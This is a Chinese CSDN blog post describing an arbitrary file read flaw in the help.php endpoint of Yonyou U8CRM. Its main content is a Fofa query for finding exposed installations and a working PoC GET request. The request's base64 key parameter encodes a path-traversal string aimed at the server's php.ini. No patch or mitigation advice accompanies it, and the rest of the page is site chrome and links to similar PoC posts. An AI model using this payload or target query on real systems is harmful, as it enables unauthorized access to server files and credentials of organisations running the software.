用友crm客户关系管理help.php存在任意文件读取漏洞解析

已于 2024-08-20 21:56:18 修改
阅读量392 收藏
点赞数 2
分类专栏： 漏洞 文章标签： web安全
于 2024-08-20 21:53:52 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/u011728305/article/details/141369383
版权

产品介绍：

用友U8CRM模块是一个综合性的客户关系管理系统，旨在帮助企业从客户出发，以客户关系为管理对象，通过动态管理客户信息、获得客户知识和评判客户价值状况，来全面提升并保持企业的竞争优势及盈利能力。

Fofa语句：

body="用友 U8CRM"

poc

GET /pub/help.php?key=YTozOntpOjA7czoyNDoiLy4uLy4uLy4uL2FwYWNoZS9waHAuaW5pIjtpOjE7czoxOiIxIjtpOjI7czoxOiIyIjt9 HTTP/1.1

Host:

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

 欢迎关注魔都安全札记

魔都安全札记
关注
专栏目录
用友crm客户关系管理pub/help2.php接口存在任意文件读取漏洞 附POC
nnn2188185的博客
12-20 648
微信公众号搜索：南风漏洞复现文库 该文章 南风漏洞复现文库 公众号首发用友U8客户关系管理全面解决方案是基于中国企业最佳营销管理实践，更符合中国企业营销管理特点，客户关系管理的整合营销平台。产品融合数年来积累的知识、方法和经验，目标是帮助企业有效获取商机、提升营销能力。
【漏洞复现】用友-U8-CRM-文件读取-help2
知黑而守白
04-19 111
用友U8-CRM是一款由用友软件开发的客户关系管理（CRM）系统。它是基于用友U8企业管理软件平台开发的，旨在帮助企业有效管理和维护与客户之间的关系。该系统提供了一系列功能，包括客户信息管理、销售机会跟踪、市场营销活动管理、客户服务支持等。通过使用用友U8-CRM，企业可以更好地了解客户需求，提高销售效率，增强客户满意度，并实现更好的客户关系管理。用友U8-CRM help2 任意文件读取漏洞，攻击者可以通过构造精心设计的请求，成功利用漏洞读取服务器上的任意文件，包括敏感系统文件和应用程序配置文件等。
用友 U8+CRM V13-V16.5 任意文件读取漏洞
WuYSec的博客
06-14 674
用友U8 CRM 客户关系管理系统是一款专业的企业级CRM软件，旨在帮助企业高效管理客户关系、提升销售业绩和提供优质的客户服务。用友U8 CRM 客户关系管理系统存在任意文件读取漏洞。无垠Sec专注安全研究，包括但不限于代码审计、漏洞挖掘、思路分享等。目前仅需50，你就能得到常见系统1day漏洞POC、代码审计、漏洞分析、漏洞挖掘等。此漏洞影响 V16.5, V16.1, V16.0, V15.1, V15.0, V13版本。app="用友-U8CRM" || title="用友U8CRM"
未公开 用友crm客户关系管理help.php存在任意文件读取漏洞
weixin_43167326的博客
08-14 843
用友U8客户关系管理全面解决方案是基于中国企业最佳营销管理实践，更符合中国企业营销管理特点，客户关系管理的整合营销平台。产品融合数年来积累的知识、方法和经验，目标是帮助企业有效获取商机、提升营销能力。
用友 CRM help2.php存在任意文件读取漏洞
3tefanie丶zhou的博客
12-19 774
【天底下喜欢讲道理的人，大致可以分为两种，一种是为了让自己心里好受，一种是希望让世道好过。】
用友crm客户关系管理pub/help.php接口存在任意文件读取漏洞
nnn2188185的博客
08-18 51
微信公众号搜索：南风漏洞复现文库 该文章 南风漏洞复现文库 公众号首发用友U8客户关系管理全面解决方案是基于中国企业最佳营销管理实践，更符合中国企业营销管理特点，客户关系管理的整合营销平台。产品融合数年来积累的知识、方法和经验，目标是帮助企业有效获取商机、提升营销能力。
用友U8CRM help2.php 任意文件读取漏洞复现
01-23 698
用友U8CRM是一款针对代理销售服务行业设计的管理软件，它集客户关系管理（CRM）、呼叫中心和办公自动化（OA）核心应用于一体，提供前端营销、后端业务处理及员工管理的一体化解决方案。
【漏洞复现】用友 U8CRM downloadfile.php 任意文件读取漏洞
凝聚力安全团队
06-21 311
用友 U8CRM downloadfile.php 接口存在任意文件读取漏洞，攻击者通过漏洞可以获取服务器任意文件。
【漏洞复现】用友 UFIDA ELTextFile.load.d 任意文件读取漏洞
凝聚力安全团队
06-25 564
用友 UFIDA ELTextFile.load.d 接口存在任意文件读取漏洞，攻击者通过漏洞可以获取服务器任意文件。
【0day】复现用友CRM系统任意文件读取漏洞
记录并分享学习安全的知识点..
07-07 624
用友TurboCRM一直致力于为客户提供架构完整、功能全面、具有良好伸缩性的产品，以支持客户业务的快速变化与成长。产品信息用友TurboCRM产品线由包括支持全面客户接触的TurboCTI和用友TurboLINK，匹配多业务模式和业务管理的用友TurboKEY和用友TurboCRM，支持与ERP等软件无缝联接、整合应用的用友TurboEAI，满足业务决策和商业智能应用用友TurboDSS系统构成。用友TurboCRM存在任意文件读取漏洞。
网络安全详解
weidl001的博客
09-21 1523
网络安全（Cybersecurity）是指保护网络系统、设备、程序及数据免受攻击、损坏或未授权访问的实践。其核心目标是确保信息的机密性、完整性和可用性。机密性（Confidentiality）：确保信息仅被授权的人员访问。完整性（Integrity）：保护信息不被未授权的修改或破坏。可用性（Availability）：确保信息和资源在需要时可被访问和使用。
网络安全全方略
AI逍遥子
09-25 1306
网络安全全方略是一个系统化、全面化的过程，涉及策略制定、技术实施、管理流程、技术维护和文化建设等多个方面。通过构建一个全方位、多层次的网络安全防护体系，可以有效保护网络系统、数据和服务免受各种威胁，保业务的连续性和数据的完整性。
19、网络安全合规复盘
weixin_43263566的博客
09-26 178
。
信息安全工程师（24）网络安全体系建设原则与安全策略
m0_73399576的博客
09-28 840
信息安全工程师——网络安全体系建设原则与安全策略篇
Web安全-SQL注入之联合查询注入
m0_60984906的博客
09-25 345
Web安全SQL注入之联合查询注入墨者学院-SQL手工注入漏洞测试(MySQL数据库-字符型)
什么是“0day漏洞”？
分享关于Java编程、数据库管理和信息安全方面的最佳实践
09-29 214
0day漏洞是信息安全中的“幽灵”，因为它的隐蔽性和破坏性往往超出我们的预期。虽然普通用户和企业无法完全规避0day漏洞，但通过保持良好的安全习惯和使用合适的防护工具，可以在一定程度上降低受到0day攻击的风险。信息安全永远在变，防护措施也需要不断更新。在快速发展的网络环境中，我们只有时刻保持警惕，才能最大限度地保护我们的数据和隐私。
【完-网络安全】Windows注册表
最新发布
Ryoujou的博客
09-29 194
Windows注册表
用友TurboCRM7.0：企业客户关系管理解决方案
"TurboCRM7.0产品白皮书提供了关于用友TurboCRM7.0系统的详细介绍，包括其作为客户关系管理系统的核心功能、应用流程、系统架构以及所需的硬件和软件环境。该产品旨在为企业提供多层面、立体化的管理工具，作为企业...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值